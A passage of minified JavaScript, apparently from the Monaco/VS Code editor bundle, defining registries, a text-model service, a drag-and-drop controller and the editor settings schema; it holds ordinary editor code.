this._value},enumerable:!0,configurable:!0}),e.prototype.report=function(e){this._value=e,this._callback()},e}();t.Progress=i;!function(e){e[e.Scm=1]=\"Scm\",e[e.Window=10]=\"Window\"}(t.ProgressLocation||(t.ProgressLocation={})),t.IProgressService2=n.createDecorator(\"progressService2\")}),define(d[44],h([1,0,29,72]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var o=function(){function e(){this.data={}}return e.prototype.add=function(e,t){i.ok(n.isString(e)),i.ok(n.isObject(t)),i.ok(!this.data.hasOwnProperty(e),\"There is already an extension with this id\"),this.data[e]=t},e.prototype.knows=function(e){return this.data.hasOwnProperty(e)},e.prototype.as=function(e){return this.data[e]||null},e}();t.Registry=new o;var r=function(){function e(){this.toBeInstantiated=[],this.instances=[]}return e.prototype.setInstantiationService=function(e){for(this.instantiationService=e;this.toBeInstantiated.length>0;){var t=this.toBeInstantiated.shift();this.instantiate(t)}},e.prototype.instantiate=function(e){var t=this.instantiationService.createInstance(e);this.instances.push(t)},e.prototype._register=function(e){this.instantiationService?this.instantiate(e):this.toBeInstantiated.push(e)},e.prototype._getInstances=function(){return this.instances.slice(0)},e.prototype._setInstances=function(e){this.instances=e},e}();t.BaseRegistry=r}),define(d[30],h([1,0,44]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.editorContribution=function(e){o.INSTANCE.registerEditorBrowserContribution(e)};!function(e){e.getEditorContributions=function(){return o.INSTANCE.getEditorBrowserContributions()}}(t.EditorBrowserRegistry||(t.EditorBrowserRegistry={}));var i={EditorContributions:\"editor.contributions\"},o=function(){function e(){this.editorContributions=[]}return e.prototype.registerEditorBrowserContribution=function(e){this.editorContributions.push(e)},e.prototype.getEditorBrowserContributions=function(){return this.editorContributions.slice(0)},e.INSTANCE=new e,e}();n.Registry.add(i.EditorContributions,o.INSTANCE)}),define(d[126],h([1,0,336,11,44,43,17]),function(e,t,n,i,o,r,s){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.Extensions={ModesRegistry:\"editor.modesRegistry\"};var a=function(){function e(){this._onDidAddLanguages=new i.Emitter,this.onDidAddLanguages=this._onDidAddLanguages.event,this._languages=[]}return e.prototype.registerLanguage=function(e){this._languages.push(e),this._onDidAddLanguages.fire([e])},e.prototype.registerLanguages=function(e){this._languages=this._languages.concat(e),this._onDidAddLanguages.fire(e)},e.prototype.getLanguages=function(){return this._languages.slice(0)},e}();t.EditorModesRegistry=a,t.ModesRegistry=new a,o.Registry.add(t.Extensions.ModesRegistry,t.ModesRegistry),t.PLAINTEXT_MODE_ID=\"plaintext\",t.PLAINTEXT_LANGUAGE_IDENTIFIER=new s.LanguageIdentifier(t.PLAINTEXT_MODE_ID,1),t.ModesRegistry.registerLanguage({id:t.PLAINTEXT_MODE_ID,extensions:[\".txt\",\".gitignore\"],aliases:[n.localize(0,null),\"text\"],mimetypes:[\"text/plain\"]}),r.LanguageConfigurationRegistry.register(t.PLAINTEXT_LANGUAGE_IDENTIFIER,{brackets:[[\"(\",\")\"],[\"[\",\"]\"],[\"{\",\"}\"]]})}),define(d[430],h([1,0,339,70,11,36,7,103,2,20,175,15,62,49,126,101,55,34]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,f,g,m,_){\"use strict\";function C(e){return e.toString()}Object.defineProperty(t,\"__esModule\",{value:!0});var b=function(){function e(e,t){var n=this;this.model=e,this._markerDecorations=[],this._modelEventsListener=e.addBulkListener(function(e){return t(n,e)})}return e.prototype.dispose=function(){this._markerDecorations=this.model.deltaDecorations(this._markerDecorations,[]),this._modelEventsListener.dispose(),this._modelEventsListener=null,this.model=null},e.prototype.getModelId=function(){return C(this.model.uri)},e.prototype.acceptMarkerDecorations=function(e){this._markerDecorations=this.model.deltaDecorations(this._markerDecorations,e)},e}(),w=function(){function e(){}return e.setMarkers=function(e,t){var n=this,i=t.read({resource:e.model.uri,take:500}).map(function(t){return{range:n._createDecorationRange(e.model,t),options:n._createDecorationOption(t)}});e.acceptMarkerDecorations(i)},e._createDecorationRange=function(e,t){var n=e.validateRange(new u.Range(t.startLineNumber,t.startColumn,t.endLineNumber,t.endColumn)),i=new u.Range(n.startLineNumber,n.startColumn,n.endLineNumber,n.endColumn);if(i.isEmpty()){var o=e.getWordAtPosition(i.getStartPosition());if(o)i=new u.Range(i.startLineNumber,o.startColumn,i.endLineNumber,o.endColumn);else{var r=e.getLineLastNonWhitespaceColumn(n.startLineNumber)||e.getLineMaxColumn(n.startLineNumber);1===r||(i=i.endColumn>=r?new u.Range(i.startLineNumber,r-1,i.endLineNumber,r):new u.Range(i.startLineNumber,i.startColumn,i.endLineNumber,i.endColumn+1))}}else if(t.endColumn===Number.MAX_VALUE&&1===t.startColumn&&i.startLineNumber===i.endLineNumber){var s=e.getLineFirstNonWhitespaceColumn(t.startLineNumber);s<i.endColumn&&(i=new u.Range(i.startLineNumber,s,i.endLineNumber,i.endColumn),t.startColumn=s)}return i},e._createDecorationOption=function(e){var t,i,o,s;switch(e.severity){case r.default.Ignore:break;case r.default.Warning:case r.default.Info:t=_.ClassName.EditorWarningDecoration,i=\"rgba(18,136,18,0.7)\",o=\"rgba(18,136,18,0.7)\",s=\"rgba(50,255,50,1)\";break;case r.default.Error:default:t=_.ClassName.EditorErrorDecoration,i=\"rgba(255,18,18,0.7)\",o=\"rgba(255,18,18,0.7)\",s=\"rgba(255,50,50,1)\"}var a=null,u=e.message,c=e.source;return\"string\"==typeof u&&(u=u.trim(),c&&(u=/\\n/g.test(u)?n.localize(0,null,c,u):n.localize(1,null,c,u)),a=[{language:\"_\",value:u}]),{stickiness:l.TrackedRangeStickiness.NeverGrowsWhenTypingAtEdges,className:t,hoverMessage:a,showIfCollapsed:!0,overviewRuler:{color:i,darkColor:o,hcColor:s,position:l.OverviewRulerLane.Right}}},e}(),S=d.isLinux||d.isMacintosh?l.DefaultEndOfLine.LF:l.DefaultEndOfLine.CRLF,E=function(){function e(e,t){var n=this;this._markerService=e,this._configurationService=t,this._models={},this._modelCreationOptionsByLanguage=Object.create(null),this._onModelAdded=new o.Emitter,this._onModelRemoved=new o.Emitter,this._onModelModeChanged=new o.Emitter,this._markerService&&(this._markerServiceSubscription=this._markerService.onMarkerChanged(this._handleMarkerChange,this)),this._configurationServiceSubscription=this._configurationService.onDidUpdateConfiguration(function(e){return n._updateModelOptions()}),this._updateModelOptions()}return e._readModelOptions=function(e){var t=p.EDITOR_MODEL_DEFAULTS.tabSize;if(e.editor&&void 0!==e.editor.tabSize){var n=parseInt(e.editor.tabSize,10);isNaN(n)||(t=n)}var i=p.EDITOR_MODEL_DEFAULTS.insertSpaces;e.editor&&void 0!==e.editor.insertSpaces&&(i=\"false\"!==e.editor.insertSpaces&&Boolean(e.editor.insertSpaces));var o=S,r=e.files&&e.files.eol;\"\\r\\n\"===r?o=l.DefaultEndOfLine.CRLF:\"\\n\"===r&&(o=l.DefaultEndOfLine.LF);var s=p.EDITOR_MODEL_DEFAULTS.trimAutoWhitespace;e.editor&&void 0!==e.editor.trimAutoWhitespace&&(s=\"false\"!==e.editor.trimAutoWhitespace&&Boolean(e.editor.trimAutoWhitespace));var a=p.EDITOR_MODEL_DEFAULTS.detectIndentation;return e.editor&&void 0!==e.editor.detectIndentation&&(a=\"false\"!==e.editor.detectIndentation&&Boolean(e.editor.detectIndentation)),{tabSize:t,insertSpaces:i,detectIndentation:a,defaultEOL:o,trimAutoWhitespace:s}},e.prototype.getCreationOptions=function(t){var n=this._modelCreationOptionsByLanguage[t];return n||(n=e._readModelOptions(this._configurationService.getConfiguration(null,{overrideIdentifier:t})),this._modelCreationOptionsByLanguage[t]=n),n},e.prototype._updateModelOptions=function(){var t=this._modelCreationOptionsByLanguage;this._modelCreationOptionsByLanguage=Object.create(null);for(var n=Object.keys(this._models),i=0,o=n.length;i<o;i++){var r=n[i],s=this._models[r],a=s.model.getLanguageIdentifier().language,u=t[a],l=this.getCreationOptions(a);e._setModelOptionsForModel(s.model,l,u)}},e._setModelOptionsForModel=function(e,t,n){n&&n.detectIndentation===t.detectIndentation&&n.insertSpaces===t.insertSpaces&&n.tabSize===t.tabSize&&n.trimAutoWhitespace===t.trimAutoWhitespace||(t.detectIndentation?(e.detectIndentation(t.insertSpaces,t.tabSize),e.updateOptions({trimAutoWhitespace:t.trimAutoWhitespace})):e.updateOptions({insertSpaces:t.insertSpaces,tabSize:t.tabSize,trimAutoWhitespace:t.trimAutoWhitespace}))},e.prototype.dispose=function(){this._markerServiceSubscription&&this._markerServiceSubscription.dispose(),this._configurationServiceSubscription.dispose()},e.prototype._handleMarkerChange=function(e){var t=this;e.forEach(function(e){var n=C(e),i=t._models[n];i&&w.setMarkers(i,t._markerService)})},e.prototype._cleanUp=function(e){var t=this;e.uri.scheme!==i.Schemas.inMemory&&e.uri.scheme!==i.Schemas.internal&&e.uri.scheme!==i.Schemas.vscode||this._markerService&&this._markerService.read({resource:e.uri}).map(function(e){return e.owner}).forEach(function(n){return t._markerService.remove(n,[e.uri])})},e.prototype._createModelData=function(e,t,n){var i=this,o=this.getCreationOptions(t.language),r=\"string\"==typeof e?g.RawTextSource.fromString(e):e,s=new c.Model(r,o,t,n),a=C(s.uri);if(this._models[a])throw new Error(\"ModelService: Cannot add model because it already exists!\");var u=new b(s,function(e,t){return i._onModelEvents(e,t)});return this._models[a]=u,u},e.prototype.updateModel=function(e,t){var n=this.getCreationOptions(e.getLanguageIdentifier().language),i=g.TextSource.create(t,n.defaultEOL);e.equals(i)||e.setValueFromTextSource(i)},e.prototype.createModel=function(e,t,n){var i;return!t||s.TPromise.is(t)?(i=this._createModelData(e,f.PLAINTEXT_LANGUAGE_IDENTIFIER,n),this.setMode(i.model,t)):i=this._createModelData(e,t.getLanguageIdentifier(),n),this._markerService&&w.setMarkers(i,this._markerService),this._onModelAdded.fire(i.model),i.model},e.prototype.setMode=function(e,t){t&&(s.TPromise.is(t)?t.then(function(t){e.isDisposed()||e.setMode(t.getLanguageIdentifier())}):e.setMode(t.getLanguageIdentifier()))},e.prototype.destroyModel=function(e){var t=this._models[C(e)];t&&t.model.dispose()},e.prototype.getModels=function(){for(var e=[],t=Object.keys(this._models),n=0,i=t.length;n<i;n++){var o=t[n];e.push(this._models[o].model)}return e},e.prototype.getModel=function(e){var t=C(e),n=this._models[t];return n?n.model:null},Object.defineProperty(e.prototype,\"onModelAdded\",{get:function(){return this._onModelAdded?this._onModelAdded.event:null},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"onModelRemoved\",{get:function(){return this._onModelRemoved?this._onModelRemoved.event:null},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"onModelModeChanged\",{get:function(){return this._onModelModeChanged?this._onModelModeChanged.event:null},enumerable:!0,configurable:!0}),e.prototype._onModelDisposing=function(e){var t=C(e.uri),n=this._models[t];delete this._models[t],n.dispose(),this._cleanUp(e),this._onModelRemoved.fire(e)},e.prototype._onModelEvents=function(t,n){for(var i=0,o=n.length;i<o;i++)if((r=n[i]).type===m.TextModelEventType.ModelDispose)return void this._onModelDisposing(t.model);for(var i=0,o=n.length;i<o;i++){var r=n[i];if(r.type===m.TextModelEventType.ModelLanguageChanged){var s=t.model,a=r.data.oldLanguage,u=s.getLanguageIdentifier().language,l=this.getCreationOptions(a),c=this.getCreationOptions(u);e._setModelOptionsForModel(s,c,l),this._onModelModeChanged.fire({model:s,oldModeId:a})}}},e=v([y(0,a.IMarkerService),y(1,h.IConfigurationService)],e)}();t.ModelServiceImpl=E}),define(d[431],h([1,0,3,15,25,30,12,2,22,251,34,325]),function(e,t,n,i,o,r,s,a,u,l,c){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var d=function(){function e(e){var t=this;this._editor=e,this._toUnhook=[],this._toUnhook.push(this._editor.onMouseDown(function(e){return t._onEditorMouseDown(e)})),this._toUnhook.push(this._editor.onMouseUp(function(e){return t._onEditorMouseUp(e)})),this._toUnhook.push(this._editor.onMouseDrag(function(e){return t._onEditorMouseDrag(e)})),this._toUnhook.push(this._editor.onMouseDrop(function(e){return t._onEditorMouseDrop(e)})),this._toUnhook.push(this._editor.onKeyDown(function(e){return t.onEditorKeyDown(e)})),this._toUnhook.push(this._editor.onKeyUp(function(e){return t.onEditorKeyUp(e)})),this._dndDecorationIds=[],this._mouseDown=!1,this._modiferPressed=!1,this._dragSelection=null}return t=e,e.get=function(e){return e.getContribution(t.ID)},e.prototype.onEditorKeyDown=function(e){this._editor.getConfiguration().dragAndDrop&&(e[t.TRIGGER_MODIFIER]&&(this._modiferPressed=!0),this._mouseDown&&e[t.TRIGGER_MODIFIER]&&this._editor.updateOptions({mouseStyle:\"copy\"}))},e.prototype.onEditorKeyUp=function(e){this._editor.getConfiguration().dragAndDrop&&(e[t.TRIGGER_MODIFIER]&&(this._modiferPressed=!1),this._mouseDown&&e.keyCode===t.TRIGGER_KEY_VALUE&&this._editor.updateOptions({mouseStyle:\"default\"}))},e.prototype._onEditorMouseDown=function(e){this._mouseDown=!0},e.prototype._onEditorMouseUp=function(e){this._mouseDown=!1,this._editor.updateOptions({mouseStyle:\"text\"})},e.prototype._onEditorMouseDrag=function(e){var n=e.target;if(null===this._dragSelection){var i=this._editor.getSelections().filter(function(e){return e.containsPosition(n.position)});if(1!==i.length)return;this._dragSelection=i[0]}e.event[t.TRIGGER_MODIFIER]?this._editor.updateOptions({mouseStyle:\"copy\"}):this._editor.updateOptions({mouseStyle:\"default\"}),this._dragSelection.containsPosition(n.position)?this._removeDecoration():this.showAt(n.position)},e.prototype._onEditorMouseDrop=function(e){if(e.target&&(this._hitContent(e.target)||this._hitMargin(e.target))&&e.target.position){var n=new s.Position(e.target.position.lineNumber,e.target.position.column);if(null===this._dragSelection){var i=this._editor.getSelections().map(function(e){return e.containsPosition(n)?new u.Selection(n.lineNumber,n.column,n.lineNumber,n.column):e});this._editor.setSelections(i)}else(!this._dragSelection.containsPosition(n)||(e.event[t.TRIGGER_MODIFIER]||this._modiferPressed)&&(this._dragSelection.getEndPosition().equals(n)||this._dragSelection.getStartPosition().equals(n)))&&(this._editor.pushUndoStop(),this._editor.executeCommand(t.ID,new l.DragAndDropCommand(this._dragSelection,n,e.event[t.TRIGGER_MODIFIER]||this._modiferPressed)),this._editor.pushUndoStop())}this._editor.updateOptions({mouseStyle:\"text\"}),this._removeDecoration(),this._dragSelection=null,this._mouseDown=!1},e.prototype.showAt=function(e){var n=this;this._editor.changeDecorations(function(i){var o=[];o.push({range:new a.Range(e.lineNumber,e.column,e.lineNumber,e.column),options:t._DECORATION_OPTIONS}),n._dndDecorationIds=i.deltaDecorations(n._dndDecorationIds,o)}),this._editor.revealPosition(e)},e.prototype._removeDecoration=function(){var e=this;this._editor.changeDecorations(function(t){t.deltaDecorations(e._dndDecorationIds,[])})},e.prototype._hitContent=function(e){return e.type===o.MouseTargetType.CONTENT_TEXT||e.type===o.MouseTargetType.CONTENT_EMPTY},e.prototype._hitMargin=function(e){return e.type===o.MouseTargetType.GUTTER_GLYPH_MARGIN||e.type===o.MouseTargetType.GUTTER_LINE_NUMBERS||e.type===o.MouseTargetType.GUTTER_LINE_DECORATIONS},e.prototype.getId=function(){return t.ID},e.prototype.dispose=function(){this._removeDecoration(),this._dragSelection=null,this._mouseDown=!1,this._modiferPressed=!1,this._toUnhook=n.dispose(this._toUnhook)},e.ID=\"editor.contrib.dragAndDrop\",e.TRIGGER_MODIFIER=i.isMacintosh?\"altKey\":\"ctrlKey\",e.TRIGGER_KEY_VALUE=i.isMacintosh?6:5,e._DECORATION_OPTIONS=c.ModelDecorationOptions.register({className:\"dnd-target\"}),e=t=v([r.editorContribution],e);var t}();t.DragAndDropController=d}),define(d[432],h([1,0,3,28,4,25,30,402]),function(e,t,n,i,o,r,s){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var a=function(){function e(e){var t=this;this.editor=e,this.toDispose=[],i.isIPad&&(this.toDispose.push(e.onDidChangeConfiguration(function(){return t.update()})),this.update())}return t=e,e.prototype.update=function(){var e=!!this.widget,t=!this.editor.getConfiguration().readOnly;!e&&t?this.widget=new u(this.editor):e&&!t&&(this.widget.dispose(),this.widget=null)},e.prototype.getId=function(){return t.ID},e.prototype.dispose=function(){this.toDispose=n.dispose(this.toDispose),this.widget&&(this.widget.dispose(),this.widget=null)},e.ID=\"editor.contrib.iPadShowKeyboard\",e=t=v([s.editorContribution],e);var t}();t.IPadShowKeyboard=a;var u=function(){function e(e){var t=this;this.editor=e,this._domNode=document.createElement(\"textarea\"),this._domNode.className=\"iPadShowKeyboard\",this._toDispose=[],this._toDispose.push(o.addDisposableListener(this._domNode,\"touchstart\",function(e){t.editor.focus()})),this._toDispose.push(o.addDisposableListener(this._domNode,\"focus\",function(e){t.editor.focus()})),this.editor.addOverlayWidget(this)}return e.prototype.dispose=function(){this.editor.removeOverlayWidget(this),this._toDispose=n.dispose(this._toDispose)},e.prototype.getId=function(){return e.ID},e.prototype.getDomNode=function(){return this._domNode},e.prototype.getPosition=function(){return{preference:r.OverlayWidgetPositionPreference.BOTTOM_RIGHT_CORNER}},e.ID=\"editor.contrib.ShowKeyboardWidget\",e}()}),define(d[433],h([1,0,44,38]),function(e,t,n,i){\"use strict\";function o(e){return e.length>0&&\"#\"===e.charAt(e.length-1)?e.substring(0,e.length-1):e}Object.defineProperty(t,\"__esModule\",{value:!0}),t.Extensions={JSONContribution:\"base.contributions.json\"};var r=new(function(){function e(){this.schemasById={},this.eventEmitter=new i.EventEmitter}return e.prototype.addRegistryChangedListener=function(e){return this.eventEmitter.addListener(\"registryChanged\",e)},e.prototype.registerSchema=function(e,t){this.schemasById[o(e)]=t,this.eventEmitter.emit(\"registryChanged\",{})},e.prototype.getSchemaContributions=function(){return{schemas:this.schemasById}},e}());n.Registry.add(t.Extensions.JSONContribution,r)}),define(d[127],h([1,0,382,11,44,29,9,433]),function(e,t,n,i,o,r,s,a){\"use strict\";function u(e){switch(Array.isArray(e)?e[0]:e){case\"boolean\":return!1;case\"integer\":case\"number\":return 0;case\"string\":return\"\";case\"array\":return[];case\"object\":return{};default:return null}}function l(e){return t.OVERRIDE_PROPERTY_PATTERN.test(e)?n.localize(3,null,e):void 0!==m.getConfigurationProperties()[e]?n.localize(4,null,e):null}Object.defineProperty(t,\"__esModule\",{value:!0}),t.Extensions={Configuration:\"base.contributions.configuration\"};var c;!function(e){e[e.WINDOW=1]=\"WINDOW\",e[e.RESOURCE=2]=\"RESOURCE\"}(c=t.ConfigurationScope||(t.ConfigurationScope={})),t.schemaId=\"vscode://schemas/settings\",t.editorConfigurationSchemaId=\"vscode://schemas/settings/editor\",t.resourceConfigurationSchemaId=\"vscode://schemas/settings/resource\";var d=o.Registry.as(a.Extensions.JSONContribution),h=function(){function e(){this.overrideIdentifiers=[],this.configurationContributors=[],this.configurationSchema={properties:{},patternProperties:{},additionalProperties:!1,errorMessage:\"Unknown configuration setting\"},this.editorConfigurationSchema={properties:{},patternProperties:{},additionalProperties:!1,errorMessage:\"Unknown editor configuration setting\"},this.resourceConfigurationSchema={properties:{},patternProperties:{},additionalProperties:!1,errorMessage:\"Not a resource configuration setting\"},this._onDidRegisterConfiguration=new i.Emitter,this.configurationProperties={},this.computeOverridePropertyPattern(),d.registerSchema(t.schemaId,this.configurationSchema),d.registerSchema(t.editorConfigurationSchemaId,this.editorConfigurationSchema),d.registerSchema(t.resourceConfigurationSchemaId,this.resourceConfigurationSchema)}return Object.defineProperty(e.prototype,\"onDidRegisterConfiguration\",{get:function(){return this._onDidRegisterConfiguration.event},enumerable:!0,configurable:!0}),e.prototype.registerConfiguration=function(e,t){void 0===t&&(t=!0),this.registerConfigurations([e],t)},e.prototype.registerConfigurations=function(e,t){var n=this;void 0===t&&(t=!0),e.forEach(function(e){n.validateAndRegisterProperties(e,t),n.configurationContributors.push(e),n.registerJSONConfiguration(e),n.updateSchemaForOverrideSettingsConfiguration(e)}),this._onDidRegisterConfiguration.fire(this)},e.prototype.registerOverrideIdentifiers=function(e){(t=this.overrideIdentifiers).push.apply(t,e),this.updateOverridePropertyPatternKey();var t},e.prototype.registerDefaultConfigurations=function(e){for(var i={id:\"defaultOverrides\",title:n.localize(0,null),properties:{}},o=0,r=e;o<r.length;o++){var s=r[o];for(var a in s.defaults){var u=s.defaults[a];t.OVERRIDE_PROPERTY_PATTERN.test(a)&&\"object\"==typeof u&&(i.properties[a]={type:\"object\",default:u,description:n.localize(1,null,a),$ref:t.editorConfigurationSchemaId})}}Object.keys(i.properties).length&&this.registerConfiguration(i,!1)},e.prototype.validateAndRegisterProperties=function(e,t,n,i){void 0===t&&(t=!0),void 0===n&&(n=c.WINDOW),void 0===i&&(i=!1),n=void 0!==e.scope&&null!==e.scope?e.scope:n,i=e.overridable||i;var o=e.properties;if(o)for(var s in o){var a=void 0;if(t&&(a=l(s)))console.warn(a),delete o[s];else{var d=o[s],h=d.default;r.isUndefined(h)&&(d.default=u(d.type)),i&&(d.overridable=!0),void 0===d.scope&&(d.scope=n),this.configurationProperties[s]=o[s]}}var p=e.allOf;if(p)for(var f=0,g=p;f<g.length;f++){var m=g[f];this.validateAndRegisterProperties(m,t,n,i)}},e.prototype.validateProperty=function(e){return!t.OVERRIDE_PROPERTY_PATTERN.test(e)&&void 0!==this.getConfigurationProperties()[e]},e.prototype.getConfigurations=function(){return this.configurationContributors},e.prototype.getConfigurationProperties=function(){return this.configurationProperties},e.prototype.registerJSONConfiguration=function(e){function n(e){var t=e.properties;if(t)for(var o in t)i.properties[o]=t[o];var r=e.allOf;r&&r.forEach(n)}var i=this.configurationSchema;n(e),d.registerSchema(t.schemaId,i)},e.prototype.updateSchemaForOverrideSettingsConfiguration=function(e){e.id!==p&&(this.update(e),d.registerSchema(t.editorConfigurationSchemaId,this.editorConfigurationSchema),d.registerSchema(t.resourceConfigurationSchemaId,this.resourceConfigurationSchema))},e.prototype.updateOverridePropertyPatternKey=function(){var e=this.configurationSchema.patternProperties[this.overridePropertyPattern];e||(e={type:\"object\",description:n.localize(2,null),errorMessage:\"Unknown Identifier. Use language identifiers\",$ref:t.editorConfigurationSchemaId}),delete this.configurationSchema.patternProperties[this.overridePropertyPattern],this.computeOverridePropertyPattern(),this.configurationSchema.patternProperties[this.overridePropertyPattern]=e,d.registerSchema(t.schemaId,this.configurationSchema)},e.prototype.update=function(e){var t=this,n=e.properties;if(n)for(var i in n)switch(n[i].overridable&&(this.editorConfigurationSchema.properties[i]=this.getConfigurationProperties()[i]),n[i].scope){case c.RESOURCE:this.resourceConfigurationSchema.properties[i]=this.getConfigurationProperties()[i]}var o=e.allOf;o&&o.forEach(function(e){return t.update(e)})},e.prototype.computeOverridePropertyPattern=function(){this.overridePropertyPattern=this.overrideIdentifiers.length?g.replace(\"${0}\",this.overrideIdentifiers.map(function(e){return s.createRegExp(e,!1).source}).join(\"|\")):f},e}(),p=\"override\",f=\"\\\\[.*\\\\]$\",g=\"\\\\[(${0})\\\\]$\";t.OVERRIDE_PROPERTY_PATTERN=new RegExp(f);var m=new h;o.Registry.add(t.Extensions.Configuration,m),t.validateProperty=l}),define(d[168],h([1,0,304,11,3,26,15,127,44,132,135,49]),function(e,t,n,i,o,r,s,a,u,l,c,d){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var h=d.EDITOR_DEFAULTS,p=d.EDITOR_FONT_DEFAULTS,g=d.EDITOR_MODEL_DEFAULTS;t.TabFocus=new(function(){function e(){this._tabFocus=!1,this._onDidChangeTabFocus=new i.Emitter,this.onDidChangeTabFocus=this._onDidChangeTabFocus.event}return e.prototype.getTabFocusMode=function(){return this._tabFocus},e.prototype.setTabFocusMode=function(e){this._tabFocus!==e&&(this._tabFocus=e,this._onDidChangeTabFocus.fire(this._tabFocus))},e}());var m=function(e){function n(n){var o=e.call(this)||this;return o._onDidChange=o._register(new i.Emitter),o.onDidChange=o._onDidChange.event,o._rawOptions=r.mixin({},n||{}),o._rawOptions.scrollbar=r.mixin({},o._rawOptions.scrollbar||{}),o._rawOptions.minimap=r.mixin({},o._rawOptions.minimap||{}),o._rawOptions.find=r.mixin({},o._rawOptions.find||{}),o._validatedOptions=d.EditorOptionsValidator.validate(o._rawOptions,h),o.editor=null,o._isDominatedByLongLines=!1,o._lineNumbersDigitCount=1,o._register(c.EditorZoom.onDidChangeZoomLevel(function(e){return o._recomputeOptions()})),o._register(t.TabFocus.onDidChangeTabFocus(function(e){return o._recomputeOptions()})),o}return f(n,e),n.prototype.dispose=function(){e.prototype.dispose.call(this)},n.prototype._recomputeOptions=function(){var e=this.editor,t=this._computeInternalOptions();e&&e.equals(t)||(this.editor=t,e&&this._onDidChange.fire(e.createChangeEvent(t)))},n.prototype.getRawOptions=function(){return this._rawOptions},n.prototype._computeInternalOptions=function(){var e=this._validatedOptions,n=this._getEnvConfiguration(),i=l.BareFontInfo.createFromRawSettings(this._rawOptions,n.zoomLevel),o={outerWidth:n.outerWidth,outerHeight:n.outerHeight,fontInfo:this.readConfiguration(i),extraEditorClassName:n.extraEditorClassName,isDominatedByLongLines:this._isDominatedByLongLines,lineNumbersDigitCount:this._lineNumbersDigitCount,emptySelectionClipboard:n.emptySelectionClipboard,pixelRatio:n.pixelRatio,tabFocusMode:t.TabFocus.getTabFocusMode(),accessibilitySupport:n.accessibilitySupport};return d.InternalEditorOptionsFactory.createInternalEditorOptions(o,e)},n.prototype.updateOptions=function(e){this._rawOptions=r.mixin(this._rawOptions,e||{}),this._validatedOptions=d.EditorOptionsValidator.validate(this._rawOptions,h),this._recomputeOptions()},n.prototype.setIsDominatedByLongLines=function(e){this._isDominatedByLongLines=e,this._recomputeOptions()},n.prototype.setMaxLineNumber=function(e){var t=n._digitCount(e);this._lineNumbersDigitCount!==t&&(this._lineNumbersDigitCount=t,this._recomputeOptions())},n._digitCount=function(e){for(var t=0;e;)e=Math.floor(e/10),t++;return t||1},n}(o.Disposable);t.CommonEditorConfiguration=m;var v=u.Registry.as(a.Extensions.Configuration),_={id:\"editor\",order:5,type:\"object\",title:n.localize(0,null),overridable:!0,scope:a.ConfigurationScope.RESOURCE,properties:{\"editor.fontFamily\":{type:\"string\",default:p.fontFamily,description:n.localize(1,null)},\"editor.fontWeight\":{type:\"string\",enum:[\"normal\",\"bold\",\"100\",\"200\",\"300\",\"400\",\"500\",\"600\",\"700\",\"800\",\"900\"],default:p.fontWeight,description:n.localize(2,null)},\"editor.fontSize\":{type:\"number\",default:p.fontSize,description:n.localize(3,null)},\"editor.lineHeight\":{type:\"number\",default:p.lineHeight,description:n.localize(4,null)},\"editor.letterSpacing\":{type:\"number\",default:p.letterSpacing,description:n.localize(5,null)},\"editor.lineNumbers\":{type:\"string\",enum:[\"off\",\"on\",\"relative\"],default:\"on\",description:n.localize(6,null)},\"editor.rulers\":{type:\"array\",items:{type:\"number\"},default:h.viewInfo.rulers,description:n.localize(7,null)},\"editor.wordSeparators\":{type:\"string\",default:h.wordSeparators,description:n.localize(8,null)},\"editor.tabSize\":{type:\"number\",default:g.tabSize,minimum:1,description:n.localize(9,null),errorMessage:n.localize(10,null)},\"editor.insertSpaces\":{type:\"boolean\",default:g.insertSpaces,description:n.localize(11,null),errorMessage:n.localize(12,null)},\"editor.detectIndentation\":{type:\"boolean\",default:g.detectIndentation,description:n.localize(13,null)},\"editor.roundedSelection\":{type:\"boolean\",default:h.viewInfo.roundedSelection,description:n.localize(14,null)},\"editor.scrollBeyondLastLine\":{type:\"boolean\",default:h.viewInfo.scrollBeyondLastLine,description:n.localize(15,null)},\"editor.minimap.enabled\":{type:\"boolean\",default:h.viewInfo.minimap.enabled,description:n.localize(16,null)},\"editor.minimap.showSlider\":{type:\"string\",enum:[\"always\",\"mouseover\"],default:h.viewInfo.minimap.showSlider,description:n.localize(17,null)},\"editor.minimap.renderCharacters\":{type:\"boolean\",default:h.viewInfo.minimap.renderCharacters,description:n.localize(18,null)},\"editor.minimap.maxColumn\":{type:\"number\",default:h.viewInfo.minimap.maxColumn,description:n.localize(19,null)},\"editor.find.seedSearchStringFromSelection\":{type:\"boolean\",default:h.contribInfo.find.seedSearchStringFromSelection,description:n.localize(20,null)},\"editor.find.autoFindInSelection\":{type:\"boolean\",default:h.contribInfo.find.autoFindInSelection,description:n.localize(21,null)},\"editor.wordWrap\":{type:\"string\",enum:[\"off\",\"on\",\"wordWrapColumn\",\"bounded\"],enumDescriptions:[n.localize(22,null),n.localize(23,null),n.localize(24,null),n.localize(25,null)],default:h.wordWrap,description:n.localize(26,null)},\"editor.wordWrapColumn\":{type:\"integer\",default:h.wordWrapColumn,minimum:1,description:n.localize(27,null)},\"editor.wrappingIndent\":{type:\"string\",enum:[\"none\",\"same\",\"indent\"],default:\"same\",description:n.localize(28,null)},\"editor.mouseWheelScrollSensitivity\":{type:\"number\",default:h.viewInfo.scrollbar.mouseWheelScrollSensitivity,description:n.localize(29,null)},\"editor.multiCursorModifier\":{type:\"string\",enum:[\"ctrlCmd\",\"alt\"],enumDescriptions:[n.localize(30,null),n.localize(31,null)],default:\"alt\",description:n.localize(32,null)},\"editor.quickSuggestions\":{anyOf:[{type:\"boolean\"},{type:\"object\",properties:{strings:{type:\"boolean\",default:!1,description:n.localize(33,null)},comments:{type:\"boolean\",default:!1,description:n.localize(34,null)},other:{type:\"boolean\",default:!0,description:n.localize(35,null)}}}],default:h.contribInfo.quickSuggestions,description:n.localize(36,null)},\"editor.quickSuggestionsDelay\":{type:\"integer\",default:h.contribInfo.quickSuggestionsDelay,minimum:0,description:n.localize(37,null)},\"editor.parameterHints\":{type:\"boolean\",default:h.contribInfo.parameterHints,description:n.localize(38,null)},\"editor.autoClosingBrackets\":{type:\"boolean\",default:h.autoClosingBrackets,description:n.localize(39,